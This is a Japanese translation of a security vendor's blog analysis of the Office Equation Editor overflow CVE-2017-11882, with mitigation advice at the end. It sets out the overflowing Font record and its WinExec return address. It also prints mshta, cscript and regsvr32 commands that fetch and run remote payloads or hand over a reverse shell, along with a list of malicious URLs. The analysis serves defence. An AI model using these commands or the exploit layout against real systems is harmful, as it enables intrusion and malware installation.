※本記事は2017年12月8日に米国で掲載されたブログ記事の抄訳版となります。

パロアルトネットワークスの脅威インテリジェンスチーム Unit 42 の脆弱性リサーチャーが、Microsoft Office に含まれていた脆弱性 CVE-2017-11882 を悪用するインターネット上のトラフィックの複数のインスタンスをキャプチャしました。本脆弱性は、Microsoft により、2017 年 11 月 14 日に月例セキュリティ更新プロセスの一環としてパッチが適用されています。このエクスプロイト(脆弱性を狙った攻撃)は Metasploit 用にリリースされており、複数のセキュリティリサーチャーが、この脆弱性を利用した特定の攻撃についての記事を公開しています。この記事では、この脆弱性とそのエクスプロイトのメカニズムについて説明します。

 

CVE-2017-11882 について:

Microsoft数式エディターは Microsoft Office のコンポーネントです。スタックバッファオーバーフローの脆弱性があるため、脆弱なシステムでのリモートコード実行が可能となります。このコンポーネントは、17 年以上前の 2000 年 11月 9 日にコンパイルされて以降、再コンパイルされないまま、現在サポートされるすべてのバージョンの Microsoft Office で使用されていました。Microsoft 数式エディターはeqnedt32.exe によりホストされるアウトプロセス COM サーバです。つまり、独自のプロセスとして独立して実行され、他のプロセスからのコマンドを受け付けることができます。

こうした攻撃からは、データ実行防止 (DEP) およびアドレス空間配置のランダム化 (ASLR) の機能により保護されるはずなのですが、eqnedt32.exe のリンク方法が原因で、これらの機能が使用されず、その結果、コード実行が可能となります。アウトプロセス COM サーバであるため、EMET や Windows Defender Exploit Guard など、Microsoft Office のための保護は、システム全体で適用される場合を除き、eqnedt32.exe には適用されません。これにより、攻撃者は特別な細工を施したドキュメントを標的に開かせて、結果的に、攻撃者が組み込んだコマンドを実行できます。


エクスプロイトの PoC (Proof of Concept) の分析

このセクションで分析する PoC RTF サンプルは、以下の属性を有しています。

SHA256

02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453

本サンプルは GitHub で入手可能です。ファイルのコンテンツの分析により、オブジェクトクラスが「Equation.3」であり、OLE 数式オブジェクトであることがわかります。

1-rtf-hexdump

図1 クラス「Equation.3」を示す RTF ファイルコンテンツ

 オブジェクトの抽出後、OLE、CompObj、および ObjInfo の各ストリームはスキップして、Equation Native ストリームに直接移動します。

2-ole-hex-dump

図2 さまざまなストリームを示すファイルコンテンツ

ストリームには、以下の構造のヘッダーが含まれています。

Real Image 4

この後ろに MTEF データが続きます。これには、MTEF ヘッダーと複数のレコードが含まれています。MTEF は、数式エディターで使用されるバイナリ形式の数式です。ヘッダーには、MTEF データの一般情報が含まれています。

説明

サイズ(バイト)

コメント

MTEFのバージョン

1

0x3

MTEFv3

生成したプラットフォーム

1

0x3

Windows

生成した製品

1

0x1

Equation Editor

製品のバージョン

1

0x3

 

製品のサブバージョン

1

0xa

 

表 1 METF のヘッダー

ヘッダーの後には、MTEF のレコードがいくつか続きます。脆弱性を引き起こす悪意のあるレコードは Font レコードで、このサンプルでは以下の構造を有しています。

説明

サイズ(バイト)

コメント

タグ

1

0x8

0x8 は Font レコードを示します。

書体番号

1

0x5a

 

スタイル

1

0x5a

 

フォント名

NULL 区切りで可変長

“cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12

オーバーフローしてリターンアドレスを上書きします。

表 2 Font レコード

フォント名が長すぎるとオーバーフローし、コード実行を引き起こします。デバッガを使用して、詳しく見てみましょう。

3-ida

図3 サンプルを IDA で表示したところ

脆弱性は、EQNEDT32.EXE がローカルに作成したバッファにフォント名をコピーしようとすると発生します。バッファは 40 (0x28) バイトのみですが、フォント名が 40 バイトを超える場合 (ここでは 48 バイト)、バッファがオーバーフローし、EBP とリターンアドレスが上書きされます。関数の実行が完了すると、攻撃者が割り当てたアドレスに制御フローが移ります。

4-od-before-font-name

図4 フォント名コピー前

5-od-after-font-name

図5 フォント名コピー後

ここでは、WinExec のアドレスである 0x430c12 に関数が「戻り」、引数の「フォント名」にも攻撃者が指定した入力が渡されます。

6-od-code-execution

図6 WinExec に制御が戻るところをデバッガで表示

この例では、Windows 電卓 (calc.exe) を開いています。

7-od-calculator

図7 エクスプロイト完了時に Calc.exe を表示


エクスプロイトの攻撃手法の分析

次に、攻撃者がこの脆弱性を悪用する方法をいくつか示します。この Proof of Concept では、16 進数表記で 636d642e657865202f632063616c632e65786520 となるバイト列がコマンド cmd.exe /c calc.exe を表すために使用されています。

この Proof of Concept を開くと、Windows 電卓が実行され、電卓の UI が表示されます。ただしこの手法には、オーバーフローできるバッファ長がかなり短いという制約があります。

8-od

図8 オーバーフローするバッファをv4にコピーするコードをIDAで表示

攻撃者がオーバーフローできる配列のサイズは 36 バイトです (上の図の overflow_buffer)。ただし、変数 v12 と保存された EBP の領域も使えるので、さらに 8 バイト分領域を使用できます。では発行しようとするコマンドが、使用可能な合計 44 バイトを上回る場合は、どうしたら良いでしょうか。

1 つの方法は、攻撃者が制御するサーバにファイルをホストしておき、そのサーバにアクセスして別のバイナリを実行させるコマンドとしてこの 44 バイトを使用することです。たとえば、以下のコマンドでは mshta 実行可能ファイルを使用して、リモートサーバから VBscript コードを実行しますが、長さは 37 文字ですみます (角かっこは無害化のために追加したものですからここでは無視してください)。

mshta http://192.168.56[.]102/test.html

以下は、攻撃者がそのサーバでホストしうるコードのサンプルです。この方法でも、Windows 上で実行する場合と同じ目標を達成でき、さらにできることは 多くなります。

同様の選択肢として、挿入された命令で Metasploit サーバをポイントし、攻撃者にリバースシェルを渡します。以下のスクリーンショットでは、Metasploit がサーバ 192.168.56.103 でリモートシェルをホストするように設定されています。

9-od

図9 Metasploit サーバの実行

 

エクスプロイトに挿入する必要があるコマンドの長さは、たった 40 バイトです。

mshta.exe http://192.168.56[.]103:8080/abc

被害者がこの悪意のあるファイルを開くと、Metasploit サーバはリバースシェルを送信し、攻撃者にホストの制御を渡します (以下を参照)。

 

10-od

図10 エクスプロイトされたホストにペイロードを送信する Metasploit


実際のエクスプロイト例

11 月 20 日以降、脅威インテリジェンスサービス AutoFocus では、この脆弱性を悪用しようとする攻撃が数千件特定されました。これらの大半は上記の手法を使用しており、cmd.exe を直接呼び出すか、mshta.exe または cscript.exe を使用して、攻撃者が制御するサーバからリモートスクリプトを実行します。以下の表は、最も一般的な手法の例を示しています。

コマンド

パラメータ

説明

cmd.execmd.exe

悪意のあるファイル

IP + リモートの悪意のあるファイル

cmd.exe がローカルの悪意のあるファイルを呼び出します。

cmd.exe がリモートの悪意のあるファイルを呼び出します。

cmd.exe /c calc.exe

cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe

cmd.exe /c calc.exe

cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe

cscript.execscript.exe

スクリプト言語 + スクリプト

cscript.exe が悪意のあるファイルを呼び出します。

cscript.exe //E:jscript \\\\xxd.cc\\bwou.pngcscript.exe //E:jscript \\\\xxd.cc\\bwou.png

mshta.exemshta.exe

IP + リモートの悪意のあるファイル

mshta.exe がリモートの悪意のあるファイルを呼び出します。

mshta.exe http://104.254.99[.]77/x.txt

 

mshta https://seliodrones[.]info/otr/otr.htamshta.exe http://104.254.99[.]77/x.txt

mshta https://seliodrones[.]info/otr/otr.hta

regsvr32.exeregsvr32.exe

インストールフラグとリモートの悪意のある DLL

regsvr32.exe がリモートの悪意のある DLL を呼び出します。

regsvr32 /i:http[:]//1997106195 scrobj.dll &AA

Cregsvr32 /i:http[:]//1997106195 scrobj.dll &AA
C

インターネット上の攻撃の一例が以下のサンプルに含まれています。

SHA256

7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551

 

このサンプルは、欧州の組織宛てのメールで偽の請求書ドキュメントの添付ファイルとして送信されました。ユーザがこのドキュメントを開いた後、以下のコマンドが実行されました。

mshta.exe , mshta https://zilk[.]pw/url/index.hta

コードは、PowerShell スクリプトを実行したこの場所にホストされ (現在はすでに使用できません)、このスクリプトが今度はhxxps://zilk[.]pw/url/smstrace.exe からファイルをダウンロードして実行します。このファイルは、情報を窃取するトロイの木馬 FormBook です。

オーバーフローバッファにはサイズ上の制約がありますが、それでも多数の攻撃者がこの脆弱性を悪用する方法を探し出し、目的を達成しています。


結論と緩和策:

CVE-2017-11882 の脆弱性は現在も活発に悪用されており、今後数年にわたり悪用が続く可能性があります。この問題に対処するため、管理者はこの脆弱性に対する Microsoft のパッチを導入する必要があります。パッチは以下で入手できます。https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 .

パッチを導入できない場合は、Microsoft サポート技術情報の記事 4055535 の説明に従って、数式エディターを無効にすることを検討する必要があります。

パロアルトネットワークスのお客様は、次の方法でこの脆弱性から保護されています。

  • 次世代ファイアウォールの Threat Prevention(脅威防御)のシグネチャ 36804 が、エクスプロイトコードを含むファイルを識別します。
  • クラウド脅威解析 WildFire と次世代エンドポイントセキュリティ Traps が、この脆弱性を悪用するファイルを悪意のあるものとして特定します。

 

悪用が確認されている URL のサンプルを以下に示します。

smb[:]//185.175.208.10/s/r.exe

smb[:]//185.175.208.10/s/p.exe

http[:]//78.46.152.143\\webdav

http[:]//138.68.144.82

http[:]//103.59.95.105/test

http[:]//104.254.99.77/x.txt

http[:]//112.213.118.108[:]11882/a

http[:]//112.213.118.108[:]11882/

http[:]//138.68.144.82/w/trx.hta

http[:]//185.200.116.171[:]80/1

http[:]//203.128.247.165/a.hta

http[:]//212.83.61.198/read.txt

http[:]//43.242.35.13/ofc.hta

http[:]//45.32.169.233[:]80/test

http[:]//45.77.122.135[:]80/a.hta

http[:]//67.218.155.0/1.hta

http[:]//141.255.149.141[:]8080/e8eb2bWlyg.sct

http[:]//bit.ly/2zaevrt

https[:]//zilk.pw/url/index.hta

https[:]//zilk.pw/url/smstrace.exe

http[:]//tinyurl.com/y9m5opxz

http[:]//vulns.sg/RickAstley.hta

http[:]//a1-transport.eu/rFIB.hta

http[:]//malo.com/bicho

http[:]//nobles-iq.com/xpct/yxxM.hta

http[:]//pelli.mzf.cz/gt.hta

http[:]//sldkj.com/a

https[:]//pastebin.com/raw/1CWyVtXs

https[:]//pastebin.com/raw/PqUXNZbB

https[:]//seliodrones.info/otr/otr.hta

http[:]//suo.im/2boSoQ

http[:]//tinyurl.com/err43ery33

http[:]//totonam.com/js/zd.hta

http[:]//www.lucien116.com/abc

http[:]//facebookcoc.sytes.net[:]8080/xp8jdXNo.sct

 


 

パロアルトネットワークス管理者ガイド日本語版

このガイドで、パロアルトネットワークスのファイアウォールのWeb管理画面の使用方法を説明します。対象は設置、運用管理、メンテナンスを行うシステム管理者向けです。 ※このページで提供する管理者ガイドが最新版でない可能性があります。最新版に関しては、製品をご購入された販売代理店にご相談ください。  
  • 3
  • 15312

PA-800 Series

主なセキュリティ機能: すべてのアプリケーションをすべてのポートで常時識別 • 使用されているポートや暗号化(SSLまたはSSH)、セキュリティの回避技術に関わらず、アプリケーションを識別します。 • 許可、拒否、スケジュール、スキャン、帯域制御の適用などのセキュリティ ポリシー決定の要素として、ポートではなくアプリケーションを使用します。 • 不明なアプリケーションを、ポリシー制御、脅威のフォレンジック、またはApp-ID™アプリケーション識別テクノロジの開発が行えるよう分類します。
  • 1
  • 10582

PA-3200 Series スペックシート

パロアルトネットワークス® PA-3200 Series の次世代ファイアウォールは、PA-3260、PA-3250、およびPA-3220 で構成されています。これらのモデルはすべて高速の インターネット ゲートウェイでの導入を目的としたものです。PA-3200 Seriesはネットワーキング、セキュリティ、脅威防御および管理のための専用処理およびメモリ を使用して、暗号化トラフィックを含むすべてのトラフィックを保護します。
  • 0
  • 3091

PA-3000 Series スペックシート

PA-3000シリーズの主な機能、パフォーマンスと容量、および仕様。
  • 1
  • 8521

PA-5200 Series

パロアルトネットワークス® PA-5200 Seriesの次世代ファイアウォール アプライアンスは、PA-5260、PA-5250、PA-5220から構成されており、高速データセンター、インターネット ゲートウェイ、およびサービス プロバイダでの導入に適しています。PA-5200シリーズは、ネットワーキング、セキュリティ、脅威からの防御と管理の重要な機能領域専用の処理機能とメモリを使用して、最大80Gbpsのスループットを提供します。
  • 0
  • 5428